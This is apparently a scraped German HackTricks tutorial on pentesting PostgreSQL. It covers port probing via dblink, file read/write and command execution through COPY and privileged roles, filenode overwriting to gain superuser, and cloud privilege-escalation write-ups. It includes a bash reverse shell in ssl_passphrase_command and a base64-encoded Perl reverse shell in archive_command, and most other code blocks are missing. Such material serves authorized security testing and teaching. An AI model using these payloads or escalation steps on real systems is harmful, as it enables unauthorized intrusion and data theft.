5432,5433 - Pentesting Postgresql
Last updated
Last updated
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Zugang heute erhalten:
PostgreSQL wird als objekt-relationales Datenbanksystem beschrieben, das Open Source ist. Dieses System nutzt nicht nur die SQL-Sprache, sondern erweitert sie auch um zusätzliche Funktionen. Seine Fähigkeiten ermöglichen es, eine Vielzahl von Datentypen und Operationen zu verarbeiten, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht.
Standardport: 5432, und wenn dieser Port bereits verwendet wird, scheint PostgreSQL den nächsten verfügbaren Port (wahrscheinlich 5433) zu verwenden.
Wenn Sie beim Ausführen von \list
eine Datenbank namens rdsadmin
finden, wissen Sie, dass Sie sich in einer AWS PostgreSQL-Datenbank befinden.
Für weitere Informationen darüber, wie man eine PostgreSQL-Datenbank ausnutzt, siehe:
PostgreSQL injectionLaut dieser Forschung wirft dblink
eine sqlclient_unable_to_establish_sqlconnection
-Ausnahme, wenn ein Verbindungsversuch fehlschlägt, einschließlich einer Erklärung des Fehlers. Beispiele für diese Details sind unten aufgeführt.
Host ist nicht erreichbar
DETAIL: konnte keine Verbindung zum Server herstellen: Kein Weg zum Host. Läuft der Server auf dem Host "1.2.3.4" und akzeptiert TCP/IP-Verbindungen auf Port 5678?
Port ist geschlossen
Port ist offen
oder
Port ist offen oder gefiltert
In PL/pgSQL-Funktionen ist es derzeit nicht möglich, Ausnahmeinformationen zu erhalten. Wenn Sie jedoch direkten Zugriff auf den PostgreSQL-Server haben, können Sie die erforderlichen Informationen abrufen. Wenn das Extrahieren von Benutzernamen und Passwörtern aus den Systemtabellen nicht möglich ist, sollten Sie die in dem vorhergehenden Abschnitt besprochene Wörterbuchangriffsmethode in Betracht ziehen, da sie möglicherweise positive Ergebnisse liefern könnte.
rolsuper
Rolle hat Superuser-Berechtigungen
rolinherit
Rolle erbt automatisch die Berechtigungen der Rollen, deren Mitglied sie ist
rolcreaterole
Rolle kann weitere Rollen erstellen
rolcreatedb
Rolle kann Datenbanken erstellen
rolcanlogin
Rolle kann sich anmelden. Das heißt, diese Rolle kann als Identifikator für die anfängliche Sitzungsautorisierung verwendet werden
rolreplication
Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikationsslots erstellen und löschen.
rolconnlimit
Für Rollen, die sich anmelden können, legt dies die maximale Anzahl gleichzeitiger Verbindungen fest, die diese Rolle herstellen kann. -1 bedeutet kein Limit.
rolpassword
Nicht das Passwort (wird immer als ********
angezeigt)
rolvaliduntil
Ablaufdatum des Passworts (nur für die Passwortauthentifizierung verwendet); null, wenn keine Ablaufzeit vorhanden ist
rolbypassrls
Rolle umgeht jede Zeilenebene-Sicherheitsrichtlinie, siehe Abschnitt 5.8 für weitere Informationen.
rolconfig
Rollenspezifische Standardwerte für Laufzeitkonfigurationsvariablen
oid
ID der Rolle
Wenn Sie Mitglied von pg_execute_server_program
sind, können Sie Programme ausführen
Wenn Sie Mitglied von pg_read_server_files
sind, können Sie Dateien lesen
Wenn Sie Mitglied von pg_write_server_files
sind, können Sie Dateien schreiben
Beachten Sie, dass in Postgres ein Benutzer, eine Gruppe und eine Rolle dasselbe sind. Es hängt nur davon ab, wie Sie es verwenden und ob Sie es zur Anmeldung zulassen.
Von diesem Commit können Mitglieder der definierten DEFAULT_ROLE_READ_SERVER_FILES
-Gruppe (genannt pg_read_server_files
) und Superbenutzer die COPY
-Methode auf jedem Pfad verwenden (siehe convert_and_check_filename
in genfile.c
):
Denke daran, dass du, wenn du kein Superuser bist, aber die CREATEROLE-Berechtigungen hast, dich Mitglied dieser Gruppe machen kannst:
Es gibt andere Postgres-Funktionen, die verwendet werden können, um Dateien zu lesen oder ein Verzeichnis aufzulisten. Nur Superuser und Benutzer mit expliziten Berechtigungen können sie verwenden:
Du kannst weitere Funktionen unter https://www.postgresql.org/docs/current/functions-admin.html finden.
Nur Superbenutzer und Mitglieder von pg_write_server_files
können copy verwenden, um Dateien zu schreiben.
Denke daran, dass du, wenn du kein Superuser bist, aber die CREATEROLE
-Berechtigungen hast, dich selbst Mitglied dieser Gruppe machen kannst:
Denken Sie daran, dass COPY keine Zeilenumbrüche verarbeiten kann, daher müssen Sie, selbst wenn Sie eine base64-Nutzlast verwenden, eine Einzeiler senden.
Eine sehr wichtige Einschränkung dieser Technik ist, dass copy
nicht verwendet werden kann, um Binärdateien zu schreiben, da es einige binäre Werte ändert.
Es gibt jedoch andere Techniken, um große Binärdateien hochzuladen:
Big Binary Files Upload (PostgreSQL)Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns heute bei https://go.intigriti.com/hacktricks und beginnen Sie, Belohnungen von bis zu 100.000 $ zu verdienen!
Wenn Sie die erforderlichen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien haben, können Sie jede Tabelle auf dem Server aktualisieren, indem Sie die zugehörige Dateiknoten im PostgreSQL-Datenverzeichnis überschreiben. Mehr zu dieser Technik hier.
Erforderliche Schritte:
Erhalten Sie das PostgreSQL-Datenverzeichnis
Hinweis: Wenn Sie den aktuellen Datenverzeichnispfad aus den Einstellungen nicht abrufen können, können Sie die Hauptversion von PostgreSQL über die SELECT version()
-Abfrage abfragen und versuchen, den Pfad zu brute-forcen. Häufige Datenverzeichnispfade auf Unix-Installationen von PostgreSQL sind /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Ein häufiger Clustername ist main
. 2. Erhalten Sie einen relativen Pfad zum Dateiknoten, der mit der Ziel-Tabelle verbunden ist
Diese Abfrage sollte etwas wie base/3/1337
zurückgeben. Der vollständige Pfad auf der Festplatte wird $DATA_DIRECTORY/base/3/1337
sein, d.h. /var/lib/postgresql/13/main/base/3/1337
. 3. Laden Sie den Dateiknoten über die lo_*
-Funktionen herunter
Erhalten Sie den Datentyp, der mit der Ziel-Tabelle verbunden ist
Verwenden Sie den PostgreSQL Filenode Editor, um den Dateiknoten zu bearbeiten; setzen Sie alle rol*
-Boolean-Flags auf 1 für volle Berechtigungen.
6. Laden Sie den bearbeiteten Dateiknoten über die lo_*
-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte
(Optional) Leeren Sie den Cache der In-Memory-Tabelle, indem Sie eine teure SQL-Abfrage ausführen
Sie sollten jetzt aktualisierte Tabellenwerte in PostgreSQL sehen.
Sie können auch ein Superadmin werden, indem Sie die pg_authid
-Tabelle bearbeiten. Siehe den folgenden Abschnitt.
Seit Version 9.3 können nur Superbenutzer und Mitglieder der Gruppe pg_execute_server_program
copy für RCE verwenden (Beispiel mit Exfiltration:
Beispiel für exec:
Denke daran, dass du, wenn du kein Superuser bist, aber die CREATEROLE
-Berechtigungen hast, dich selbst Mitglied dieser Gruppe machen kannst:
Oder verwenden Sie das multi/postgres/postgres_copy_from_program_cmd_exec
Modul von metasploit.
Weitere Informationen zu dieser Schwachstelle hier. Obwohl als CVE-2019-9193 gemeldet, erklärte Postgres, dass dies ein Feature ist und nicht behoben wird.
Sobald Sie gelernt haben, wie man Binärdateien hochlädt, könnten Sie versuchen, RCE zu erhalten, indem Sie eine PostgreSQL-Erweiterung hochladen und laden.
RCE with PostgreSQL ExtensionsDie folgenden RCE-Vektoren sind besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch geschachtelte SELECT-Anweisungen durchgeführt werden können.
Die Konfigurationsdatei von PostgreSQL ist beschreibbar durch den postgres-Benutzer, der die Datenbank ausführt, sodass Sie als Superuser Dateien im Dateisystem schreiben können und daher diese Datei überschreiben können.
Weitere Informationen zu dieser Technik hier.
Die Konfigurationsdatei hat einige interessante Attribute, die zu RCE führen können:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Pfad zum privaten Schlüssel der Datenbank
ssl_passphrase_command = ''
Wenn die private Datei durch ein Passwort geschützt ist (verschlüsselt), wird PostgreSQL den in diesem Attribut angegebenen Befehl ausführen.
ssl_passphrase_command_supports_reload = off
Wenn dieses Attribut ein ist, wird der Befehl, der ausgeführt wird, wenn der Schlüssel durch ein Passwort geschützt ist, ausgeführt, wenn pg_reload_conf()
ausgeführt wird.
Dann muss ein Angreifer:
Privaten Schlüssel vom Server dumpen
Verschlüsseln Sie den heruntergeladenen privaten Schlüssel:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Überschreiben
Dumpen Sie die aktuelle PostgreSQL Konfiguration
Überschreiben Sie die Konfiguration mit der Konfiguration der genannten Attribute:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Führen Sie pg_reload_conf()
aus
Während ich dies testete, stellte ich fest, dass dies nur funktioniert, wenn die private Schlüsseldatei die Berechtigungen 640 hat, sie von root besessen wird und von der Gruppe ssl-cert oder postgres (damit der postgres-Benutzer sie lesen kann) und sich in /var/lib/postgresql/12/main befindet.
Mehr Informationen zu dieser Konfiguration und zu WAL hier.
Ein weiteres ausnutzbares Attribut in der Konfigurationsdatei ist archive_command
.
Damit dies funktioniert, muss die Einstellung archive_mode
auf 'on'
oder 'always'
gesetzt sein. Wenn das der Fall ist, könnten wir den Befehl in archive_command
überschreiben und ihn über die WAL (Write-Ahead Logging)-Operationen ausführen.
Die allgemeinen Schritte sind:
Überprüfen, ob der Archivmodus aktiviert ist: SELECT current_setting('archive_mode')
archive_command
mit der Payload überschreiben. Zum Beispiel, eine Reverse-Shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Konfiguration neu laden: SELECT pg_reload_conf()
Zwingen Sie die WAL-Operation, die den Archivbefehl aufruft, auszuführen: SELECT pg_switch_wal()
oder SELECT pg_switch_xlog()
für einige PostgreSQL-Versionen
Weitere Informationen zu dieser Technik hier.
Dieser Angriffsvektor nutzt die folgenden Konfigurationsvariablen aus:
session_preload_libraries
-- Bibliotheken, die vom PostgreSQL-Server bei der Clientverbindung geladen werden.
dynamic_library_path
-- Liste der Verzeichnisse, in denen der PostgreSQL-Server nach den Bibliotheken sucht.
Wir können den Wert von dynamic_library_path
auf ein Verzeichnis setzen, das vom postgres
-Benutzer, der die Datenbank ausführt, beschreibbar ist, z.B. das Verzeichnis /tmp/
, und dort ein bösartiges .so
-Objekt hochladen. Als nächstes zwingen wir den PostgreSQL-Server, unsere neu hochgeladene Bibliothek zu laden, indem wir sie in die Variable session_preload_libraries
einfügen.
Die Angriffsschritte sind:
Laden Sie die originale postgresql.conf
herunter
Fügen Sie das Verzeichnis /tmp/
in den Wert von dynamic_library_path
ein, z.B. dynamic_library_path = '/tmp:$libdir'
Fügen Sie den Namen der bösartigen Bibliothek in den Wert von session_preload_libraries
ein, z.B. session_preload_libraries = 'payload.so'
Überprüfen Sie die Hauptversion von PostgreSQL über die Abfrage SELECT version()
Kompilieren Sie den bösartigen Bibliothekscode mit dem richtigen PostgreSQL-Entwicklungspaket Beispielcode:
Kompilieren des Codes:
Laden Sie die bösartige postgresql.conf
, die in den Schritten 2-3 erstellt wurde, hoch und überschreiben Sie die originale
Laden Sie das payload.so
aus Schritt 5 in das Verzeichnis /tmp
hoch
Laden Sie die Serverkonfiguration neu, indem Sie den Server neu starten oder die Abfrage SELECT pg_reload_conf()
aufrufen
Bei der nächsten DB-Verbindung erhalten Sie die Verbindung zur Reverse-Shell.
Laut den Dokumenten: Rollen mit CREATEROLE
-Berechtigung können Mitgliedschaften in beliebigen Rollen gewähren oder widerrufen, die keine Superuser sind.
Wenn Sie also die CREATEROLE
-Berechtigung haben, könnten Sie sich selbst Zugriff auf andere Rollen gewähren (die keine Superuser sind), die Ihnen die Möglichkeit geben, Dateien zu lesen und zu schreiben und Befehle auszuführen:
Benutzer mit dieser Rolle können auch die Passwörter anderer Nicht-Superuser ändern:
Es ist ziemlich häufig, dass lokale Benutzer sich in PostgreSQL anmelden können, ohne ein Passwort anzugeben. Daher, sobald Sie Berechtigungen zum Ausführen von Code gesammelt haben, können Sie diese Berechtigungen missbrauchen, um Ihnen die SUPERUSER
-Rolle zu gewähren:
Dies ist normalerweise möglich aufgrund der folgenden Zeilen in der pg_hba.conf
Datei:
In diesem Bericht wird erklärt, wie es möglich war, privesc in Postgres GCP auszunutzen, indem das ALTER TABLE-Recht, das dem Benutzer gewährt wurde, missbraucht wurde.
Wenn Sie versuchen, einen anderen Benutzer Eigentümer einer Tabelle zu machen, sollten Sie einen Fehler erhalten, der dies verhindert, aber anscheinend gab GCP diese Option dem nicht-Superuser postgres Benutzer in GCP:
Wenn man diese Idee mit der Tatsache verbindet, dass bei der Ausführung der INSERT/UPDATE/ANALYZE-Befehle auf einer Tabelle mit einer Indexfunktion die Funktion als Teil des Befehls mit den Berechtigungen des Tabellenbesitzers aufgerufen wird. Es ist möglich, einen Index mit einer Funktion zu erstellen und die Eigentümerberechtigungen einem Superuser über diese Tabelle zu geben und dann ANALYZE über die Tabelle mit der bösartigen Funktion auszuführen, die in der Lage sein wird, Befehle auszuführen, da sie die Berechtigungen des Eigentümers verwendet.
Beginnen Sie mit der Erstellung einer neuen Tabelle.
Fügen Sie einige irrelevante Inhalte in die Tabelle ein, um Daten für die Indexfunktion bereitzustellen.
Entwickeln Sie eine bösartige Indexfunktion, die eine Codeausführungsnutzlast enthält, die es ermöglicht, unbefugte Befehle auszuführen.
Ändern Sie den Eigentümer der Tabelle in "cloudsqladmin", was die Superuser-Rolle von GCP ist, die ausschließlich von Cloud SQL zur Verwaltung und Wartung der Datenbank verwendet wird.
Führen Sie eine ANALYZE-Operation auf der Tabelle durch. Diese Aktion zwingt die PostgreSQL-Engine, in den Benutzerkontext des Eigentümers der Tabelle, "cloudsqladmin", zu wechseln. Folglich wird die bösartige Indexfunktion mit den Berechtigungen von "cloudsqladmin" aufgerufen, wodurch die Ausführung des zuvor unbefugten Shell-Befehls ermöglicht wird.
In PostgreSQL sieht dieser Ablauf ungefähr so aus:
Dann wird die Tabelle shell_commands_results
die Ausgabe des ausgeführten Codes enthalten:
Einige falsch konfigurierte PostgreSQL-Instanzen könnten die Anmeldung von jedem lokalen Benutzer erlauben, es ist möglich, lokal von 127.0.0.1 mit der dblink
-Funktion anzumelden:
Beachten Sie, dass für die vorherige Abfrage die Funktion dblink
existieren muss. Wenn sie nicht existiert, könnten Sie versuchen, sie mit zu erstellen.
Wenn Sie das Passwort eines Benutzers mit höheren Berechtigungen haben, der jedoch nicht von einer externen IP aus anmelden darf, können Sie die folgende Funktion verwenden, um Abfragen als dieser Benutzer auszuführen:
Es ist möglich zu überprüfen, ob diese Funktion existiert mit:
In diesem Bericht konnten Pentester in eine Postgres-Instanz von IBM eindringen, weil sie diese Funktion mit dem SECURITY DEFINER-Flag gefunden haben:
Wie in den Dokumenten erklärt wird eine Funktion mit SECURITY DEFINER mit den Rechten des Benutzers, der sie besitzt, ausgeführt. Daher könnte die Funktion, wenn sie anfällig für SQL-Injection ist oder einige privilegierte Aktionen mit von dem Angreifer kontrollierten Parametern durchführt, missbraucht werden, um Privilegien innerhalb von Postgres zu eskalieren.
In Zeile 4 des vorherigen Codes sehen Sie, dass die Funktion das SECURITY DEFINER-Flag hat.
Und dann Befehle ausführen:
PL/pgSQL ist eine vollständig ausgestattete Programmiersprache, die eine größere prozedurale Kontrolle im Vergleich zu SQL bietet. Sie ermöglicht die Verwendung von Schleifen und anderen Kontrollstrukturen, um die Programmlogik zu verbessern. Darüber hinaus haben SQL-Anweisungen und Trigger die Fähigkeit, Funktionen aufzurufen, die mit der PL/pgSQL-Sprache erstellt wurden. Diese Integration ermöglicht einen umfassenderen und vielseitigeren Ansatz für die Datenbankprogrammierung und -automatisierung. Sie können diese Sprache missbrauchen, um PostgreSQL zu bitten, die Benutzeranmeldeinformationen zu brute-forcen.
PL/pgSQL Password BruteforceDer folgende Privilegieneskalationsvektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch geschachtelte SELECT-Anweisungen durchgeführt werden können.
Wenn Sie PostgreSQL-Serverdateien lesen und schreiben können, können Sie Superuser werden, indem Sie den PostgreSQL-Filenode auf der Festplatte überschreiben, der mit der internen pg_authid
-Tabelle verbunden ist.
Lesen Sie mehr über diese Technik hier.
Die Angriffsschritte sind:
Erhalten Sie das PostgreSQL-Datenverzeichnis
Erhalten Sie einen relativen Pfad zum Filenode, der mit der pg_authid
-Tabelle verbunden ist
Laden Sie den Filenode über die lo_*
-Funktionen herunter
Erhalten Sie den Datentyp, der mit der pg_authid
-Tabelle verbunden ist
Verwenden Sie den PostgreSQL Filenode Editor, um den Filenode zu bearbeiten; setzen Sie alle rol*
-Boolean-Flags auf 1 für volle Berechtigungen.
Laden Sie den bearbeiteten Filenode über die lo_*
-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte
(Optional) Leeren Sie den In-Memory-Tabellen-Cache, indem Sie eine teure SQL-Abfrage ausführen
Sie sollten jetzt die Berechtigungen eines vollständigen Superadmins haben.
Innerhalb der postgresql.conf Datei können Sie die PostgreSQL-Protokolle aktivieren, indem Sie ändern:
Dann starten Sie den Dienst neu.
pgadmin ist eine Verwaltungs- und Entwicklungsplattform für PostgreSQL. Sie können Passwörter in der pgadmin4.db-Datei finden. Sie können sie mit der decrypt-Funktion im Skript entschlüsseln: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
Die Client-Authentifizierung in PostgreSQL wird über eine Konfigurationsdatei namens pg_hba.conf verwaltet. Diese Datei enthält eine Reihe von Einträgen, von denen jeder einen Verbindungstyp, einen IP-Adressbereich des Clients (falls zutreffend), den Datenbanknamen, den Benutzernamen und die Authentifizierungsmethode angibt, die für die Übereinstimmung von Verbindungen verwendet werden soll. Der erste Eintrag, der mit dem Verbindungstyp, der Client-Adresse, der angeforderten Datenbank und dem Benutzernamen übereinstimmt, wird für die Authentifizierung verwendet. Es gibt keinen Fallback oder Backup, wenn die Authentifizierung fehlschlägt. Wenn kein Eintrag übereinstimmt, wird der Zugriff verweigert.
Die verfügbaren passwortbasierten Authentifizierungsmethoden in pg_hba.conf sind md5, crypt und password. Diese Methoden unterscheiden sich darin, wie das Passwort übertragen wird: MD5-gehasht, crypt-verschlüsselt oder im Klartext. Es ist wichtig zu beachten, dass die crypt-Methode nicht mit Passwörtern verwendet werden kann, die in pg_authid verschlüsselt wurden.
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Erhalten Sie noch heute Zugang:
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)